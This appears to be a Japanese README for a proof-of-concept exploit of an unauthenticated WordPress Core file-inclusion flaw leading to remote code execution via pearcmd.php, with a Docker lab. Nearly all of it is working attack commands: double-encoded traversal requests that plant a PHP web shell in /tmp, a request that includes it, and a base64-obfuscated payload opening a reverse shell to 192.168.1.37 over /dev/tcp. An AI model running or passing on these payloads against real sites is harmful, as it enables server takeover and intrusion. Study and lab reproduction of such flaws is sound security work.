
CVE-2026-87902 の概念実証エクスプロイト。認証不要の WordPress Core の LFI が pearcmd.php を経由して RCE に至る脆弱性で、Docker ラボと curl/Python エクスプロイトスクリプトを同梱。
WordPress Core <= 7.1.1 — 未認証LFI(テンプレートローダー pagename)→ pearcmd.php 経由のRCE。
クレジット: https://github.com/ressl/cve-2026-87902-poc
cd docker && docker compose up -d
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=stripslashes($_REQUEST[_])?>+"
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn"
# Reverse Shell
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJw==|base64+-d|sh"
python3 exploit-pear.py http://127.0.0.1:18092 2 "id"